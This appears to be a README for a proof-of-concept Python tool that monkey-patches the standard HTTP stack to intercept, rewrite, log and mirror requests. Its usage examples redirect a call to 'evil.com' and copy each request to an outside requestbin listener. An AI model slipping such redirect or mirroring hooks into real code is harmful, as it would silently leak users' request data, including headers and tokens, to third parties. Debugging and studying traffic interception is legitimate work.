🐀 Intercepts your HTTP(S) requests from Python standard libraries. Allows you to catch API calls and HTTP(S) requests from different requests
/urllib
/http
-based libraries (and many others based on the original http.client
/socket
stack).
🚧 Note: This is just a WIP/PoC project w/o rocket science in it - just a bunch of dirty monkey patches. So, enjoy it "as is" if you are interested in it. Not properly tested lol.
#!/usr/bin/env python3
from src.interceptor import Interceptor
from requests import get
# Initialize 'Interceptor' here, nothing special
intercept = Interceptor()
@intercept.sniff(listener="http://YOUR_LISTENER_ENDPOINT")
@intercept.dump()
@intercept.data(data="GET / HTTP/1.1\r\n ...modified request goes here")
def example_sniff_connect() -> CaseInsensitiveDict:
"""
Patch request data, dump modified request to the logs, and re-send copy of the request
to another endpoint
:return: response headers
"""
return get(url="http://ORIGINAL_HOST").headers
if __name__ == "__main__":
example_sniff_connect()
Definition:
def target(self, host: str, port: int) -> callable:
Example:
intercept = Interceptor()
@intercept.target(host="http://evil.com", port=80)
def my_func():
...
Definition:
def data(self, data: Union[str, bytes]) -> callable:
Example:
intercept = Interceptor()
@intercept.data(data="GET / HTTP/1.1\r\n...")
def my_func():
...
Definition:
def dump(self) -> callable:
Example:
intercept = Interceptor()
@intercept.dump()
def my_func():
...
Definition:
def sniff(self, listener: str) -> callable:
Example:
intercept = Interceptor()
@intercept.sniff(listener="http://requestbin.net/r/YOUR_REQUESTBIN_ID")
def my_func():
...